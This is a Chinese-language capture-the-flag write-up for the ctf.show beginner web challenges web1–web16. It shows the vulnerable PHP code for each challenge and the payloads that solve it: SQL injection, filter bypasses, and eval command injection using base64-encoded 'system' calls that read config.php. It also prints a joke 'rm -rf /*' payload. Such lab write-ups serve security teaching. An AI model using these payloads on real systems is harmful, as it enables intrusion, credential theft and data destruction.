CTFSHOW【萌新計劃】Writeup

【萌新計劃】web1

題目: 代碼很安全,沒有漏洞。
解題思路: 題目代碼

<html>
<head>
    <title>ctf.show萌新計劃web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含數據庫連接文件
include("config.php");
# 判斷get提交的參數id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判斷id的值是否大於999
    if(intval($id) > 999){
        # id 大於 999 直接退出並返回錯誤
        die("id error");
    }else{
        # id 小於 999 拼接sql語句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "執行的sql爲:$sql<br>";
        # 執行sql 語句
        $result = $conn->query($sql);
        # 判斷有沒有查詢結果
        if ($result->num_rows > 0) {
            # 如果有結果,獲取結果對象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 關閉數據庫連接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html> 

提示flag在id=1000,可是id不能等於1000,構造如下url

https://71233d4d-e0f8-4cba-92ba-8f77a48f607b.chall.ctf.show/?id=100 or id=1000

得到flag,flag{6f5ec2a3-67f5-45c7-ad53-b725b1107435}

在這裏插入圖片描述

【萌新計劃】web2

題目: 管理員趕緊修補了漏洞,這下應該沒問題了吧?
解題思路: 題目代碼和上一題相似,不過過濾了or

if(preg_match("/or|\+/i",$id))

構造如下url

https://2313fea2-de54-48db-b262-3dc6b0fb012f.chall.ctf.show/?id=100 || id=1000

得到flag,flag{9dfca7d9-e325-4ed8-9cfe-73c3d3aeacc9}。

在這裏插入圖片描述

【萌新計劃】web3

題目: 管理員被狠狠的教育了,所以決定好好修復一番。這次沒問題了。
解題思路: 題目代碼增加了過濾符號

if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){

構造與上一題相同url即可,flag{41918340-c0cd-4792-98a3-52f0294262e0}。

【萌新計劃】web4

題目: 管理員阿呆又失敗了,這次一定要堵住漏洞
解題思路: 題目代碼

    if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))

構造與上一題相同url即可,flag{4a5d7186-6d01-4425-8930-273e60cef3b9}。

【萌新計劃】web5

題目: 阿呆被老闆狂罵一通,決定改掉自己大意的毛病,痛下殺手,修補漏洞。
解題思路: 題目代碼

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))

利用字節操作,構造url

https://34372a31-4e08-4272-8c76-ad83b58f8a09.chall.ctf.show/?id=~~1000

得到flag,flag{7557dd2b-8ad5-4237-a42b-65428442a02a}。

【萌新計劃】web6

題目: 阿呆一口老血差點噎死自己,決定槓上了
解題思路: 題目代碼

 if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id))

構造與上一題相同url,得到flag,flag{82754c8a-2429-4be9-9420-aa9d5152c44a}。

【萌新計劃】web7

題目: 阿呆得到最高指示,如果還出問題,就捲鋪蓋滾蛋,阿呆心在流血。
解題思路: 題目代碼

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id))

利用進制轉換,構造如下url

https://dfb305c2-9c40-4b41-8912-ae008639c5f0.chall.ctf.show/?id=0b001111101000

得到flag,flag{2a0d2647-60b2-4025-bfa2-646c017b0c45}。

【萌新計劃】web8

題目: 阿呆熟悉的一頓操作,去了埃塞爾比亞。PS:阿呆第一季完,敬請期待第二季!
解題思路: 題目代碼

<html>
<head>
    <title>ctf.show萌新計劃web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含數據庫連接文件,key flag 也在裏面定義
include("config.php");
# 判斷get提交的參數id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}

?>
</body>
</html>

看了WP聽說是個梗題,構造url

https://ecaff87a-1927-4a7d-a6fd-b1141f41b4eb.chall.ctf.show/?flag=rm -rf /*

得到flag{95d1ec7d-fd01-4dcf-ba44-e5af04047b4f} 。

【萌新計劃】web9

題目: 阿呆在埃塞俄比亞終於找了一個網管的工作,閒暇時還能種點菜。
解題思路: 題目代碼

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

代碼的意思是需要傳遞到參數c中包含system|exec|highlight,構造url

https://1ec537c0-6558-4ca2-93ee-84f1df366922.chall.ctf.show/?c=highlight_file("config.php");

得到flag{50686976-d892-4311-851f-41de75510df5}。注意:一定要加分號

【萌新計劃】web10

題目: 阿呆看見對面二黑急衝衝的跑過來,告訴阿呆出大事了,阿呆問什麼事,二黑說:這幾天天旱,你菜死了!
解題思路: 題目代碼

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

使用PHP語法多次定義,拼湊payloadc=$x='sys';$y='tem';$z=$x.$y;$z('cat config.php');
跳轉到新頁面後,查看源碼,得到flag{78d9c590-10ad-4f0f-a9a5-58d13841192b}。

【萌新計劃】web11

題目: 阿呆聽完自己菜死了,自己呆了。決定修好漏洞,絕對不能讓自己再菜死了。
解題思路: 題目代碼

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?> 

過濾了cat,使用more替換即可
c=$a='sys';$b='tem';$z=$a.$b;$z('more config.php');
得到flag{c856bc45-bb4e-4f57-8f55-93317f7cddf0}。

【萌新計劃】web12

題目: 阿呆不慌不忙的拔掉自己所有的菜,以後自己就不會菜死了。
解題思路: 題目代碼

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))

又過濾了文件名,利用base64編解碼,拼湊payload c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);
跳轉到新頁面後,查看源碼,得到flag{33d9febb-c2dd-4b32-ad1b-f554c45e9052}。

【萌新計劃】web13

題目: 阿呆徹底呆了,阿呆拿起谷姐搜索好久,終於找到更狠的方法。
解題思路: 題目代碼

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))

在之前題目的基礎上過濾了分號,只能執行一條語句,想到PHP中的命令執行函數還可以用passthru(),可以使用?>閉合語句。
拼湊payloadc=passthru('ca""tls')?>注意:ls兩邊的是反引號。
在linux中反引號的作用就是將反引號內的Linux命令先執行,然後將執行結果賦予變量。
cat ls 相當於將 ls出來的結果cat。
跳轉到新頁面後,查看源碼,得到flag{5da91d85-c854-4d5f-a725-d19caa9963c2}。

【萌新計劃】web14

題目: 阿呆忍無可忍了,告訴自己,如果還被攻,自己就跳下去。
解題思路: 題目代碼

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))

在之前題目的基礎上過濾了括號,拼湊payloadc=echo \$_POST[a]`?>,以post方式傳入a=cat config.php`,
得到flag{a90662b0-d0d4-43b1-ae28-9248dc8e4676}。

【萌新計劃】web15

題目: 人爲什麼要活着?難道埃塞俄比亞再無我阿呆容身之處?
解題思路: 題目代碼

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))

在之前題目的基礎上過濾了問號,但未過濾分號,拼湊payloadc=echo \$_POST[a]`;,以post方式傳入a=cat config.php`,
得到flag{3178e80f-3ea6-433f-ba6f-0a9307c93da1}。

【萌新計劃】web16

題目: 阿呆爲了自己的夢想(fulage),決定來一波反向跑路。
解題思路: 題目代碼

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

上腳本爆破,得到c=36d。

import hashlib
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in str1:
    for j in str1:
        for k in str1:
            s = hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #print(type(s))
            if s=='a6f57ae38a22448c2f07f3f95f49c84e':
                print(i+j+k)

拼湊payload,得到flag{790f7029-1a66-4b2c-99c2-e912bfa8ed3d} 。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章